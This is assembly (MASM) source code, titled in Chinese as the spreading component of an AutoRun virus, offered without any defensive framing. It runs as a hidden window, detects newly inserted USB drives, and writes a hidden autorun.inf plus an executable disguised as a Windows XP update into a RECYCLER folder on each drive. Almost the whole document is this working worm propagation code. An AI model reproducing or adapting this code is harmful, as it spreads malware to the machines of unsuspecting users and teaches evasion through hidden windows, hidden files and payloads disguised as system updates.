用汇编写一个AutoRun病毒的传播部分

;MASMPlus 代码模板 - 普通的 Windows 程序代码

.386
.Model Flat, StdCall
Option Casemap :None

Include windows.inc
Include user32.inc
Include kernel32.inc
Include gdi32.inc
include DBT.INC

includelib gdi32.lib
IncludeLib user32.lib
IncludeLib kernel32.lib

include macro.asm
include Data.asm
    WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
    WndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD
    
.DATA
    szClassName db 33 dup(0)
    szFormate db '%08x%08x'

.DATA?
    hInstance dd ?
    hWinMain dd ?
    szBuffer db MAX_PATH dup(?)
    szPath dd MAX_PATH dup(?)

.CODE

;写入文件到U盘
;指定路径 数据 大小
_WriteFile  proc uses ebx esi edi _lpPath:DWORD,_lpBuf:DWORD,_dwLen:DWORD
    ;invoke MessageBox,0,CTXT('写文件'),CTXT('写文件'),0
    invoke CreateFile,_lpPath,\
    GENERIC_ALL,0,\
    NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_READONLY,NULL
    mov ebx,eax
    .if ebx != -1
        push eax
        mov ecx,esp
        invoke WriteFile,ebx,_lpBuf,_dwLen,ecx,0
        pop ecx
    .endif
    ;invoke CloseHandle,ebx
    ret
_WriteFile endp

;根据输入的掩码得到卷标
_GetVolumeName proc uses ebx esi edi flag:DWORD
    mov ecx,26
    mov esi,flag
@@:
    test esi,1h
    jnz @f
    shr esi,1h
    loop    @b
@@:
    mov eax,5Bh
    sub eax,ecx
    ret
_GetVolumeName endp

WndProc proc hWin:DWORD,uMsg:DWORD,wParam :DWORD,lParam :DWORD
    .if uMsg==WM_CREATE
        ;int 3h
    .elseif uMsg == WM_QUIT
        xor eax,eax
    
    .elseif uMsg == WM_DEVICECHANGE
        .if wParam == DBT_DEVICEARRIVAL ;U盘已插入
            ;invoke MessageBox,0,CTXT('插入'),CTXT('插入'),0
            mov    ebx, lParam
            assume ebx:ptr _DEV_BROADCAST_HDR
            .if [ebx].dbch_devicetype == DBT_DEVTYP_VOLUME ;检测是不是磁盘类USB设备
                ;invoke MessageBox,0,CTXT('是磁盘类USB设备'),CTXT('插入'),0
                mov edx,lParam
                assume edx:ptr _DEV_BROADCAST_VOLUME
                invoke _GetVolumeName,[edx].dbcv_unitmask
                push eax
                invoke wsprintf,offset szPath,CTXT('%c:\'),eax,0
                pop eax
                invoke GetDriveType,offset szPath
                .if eax == DRIVE_REMOVABLE;检测是不是硬动磁盘设备
                    ;invoke MessageBox,0,CTXT('是硬动磁盘设备'),CTXT('插入'),0
                    invoke Sleep, 1500
                    invoke lstrcpy,offset szBuffer,offset szPath
                    invoke lstrcat,offset szBuffer,CTXT('autorun.inf')
                    invoke lstrlen,offset szDeskTop
                    mov ecx,eax
                    invoke _WriteFile,offset szBuffer,offset szDeskTop,ecx
                    invoke lstrcpy,offset szBuffer,offset szPath
                    invoke lstrcat,offset szBuffer,CTXT('RECYCLER')
                    invoke CreateDirectory,offset szBuffer,0
                    invoke lstrcpy,offset szBuffer,offset szPath
                    invoke lstrcat,offset szBuffer,CTXT('RECYCLER\WindowsXP-KB88168-x86-CHS.exe')
                    invoke _WriteFile,offset szBuffer,offset szExe,952d
                .endif
                assume edx:nothing
            .endif
            assume ebx:ptr nothing
        .elseif wParam == DBT_DEVICEREMOVECOMPLETE    ;U盘已拔出
            ;invoke MessageBox,0,CTXT('拔出'),CTXT('拔出'),0
        .endif
    .else
        invoke DefWindowProc,hWin,uMsg,wParam,lParam
    .endif
    ret
WndProc endp

WinMain proc hInst:DWORD,hPrevInst:DWORD,CmdLine:DWORD,CmdShow:DWORD
    LOCAL wc   :WNDCLASSEX
    LOCAL msg  :MSG
    local hWnd :HWND
    
    mov wc.cbSize,sizeof WNDCLASSEX
    mov wc.style,CS_HREDRAW or CS_VREDRAW or CS_BYTEALIGNWINDOW
    mov wc.lpfnWndProc,offset WndProc
    mov wc.cbClsExtra,NULL
    mov wc.cbWndExtra,NULL
    push hInst
    pop wc.hInstance
    mov wc.hbrBackground,COLOR_BTNFACE+1
    mov wc.lpszMenuName,NULL
    invoke GetTickCount
    push eax
    invoke GetTickCount
    push eax
    mov eax,offset szFormate
    push eax
    mov eax,offset szClassName
    push eax
    call wsprintf    ;随机生成~~~
    mov wc.lpszClassName,offset szClassName
    invoke LoadIcon,hInst,100
    mov wc.hIcon,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov wc.hCursor,eax
    mov wc.hIconSm,0
    invoke RegisterClassEx, ADDR wc
    ;这样窗口不会显示
    invoke CreateWindowEx,WS_EX_TOOLWINDOW,ADDR szClassName,offset szClassName,WS_POPUP or WS_SYSMENU, 0, 0, 0, 0,NULL, NULL, hInst, NULL
    mov hWnd,eax
    invoke ShowWindow,hWnd,SW_SHOWNORMAL
    invoke UpdateWindow,hWnd
    
    StartLoop:
        invoke GetMessage,ADDR msg,NULL,0,0
            cmp eax, 0
            je ExitLoop
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
            jmp StartLoop
    ExitLoop:
    
mov eax,msg.wParam
ret
WinMain endp

START:

    invoke GetModuleHandle,NULL
    mov hInstance,eax
    invoke WinMain,hInstance,NULL,NULL,SW_SHOWDEFAULT
    invoke ExitProcess,0

END START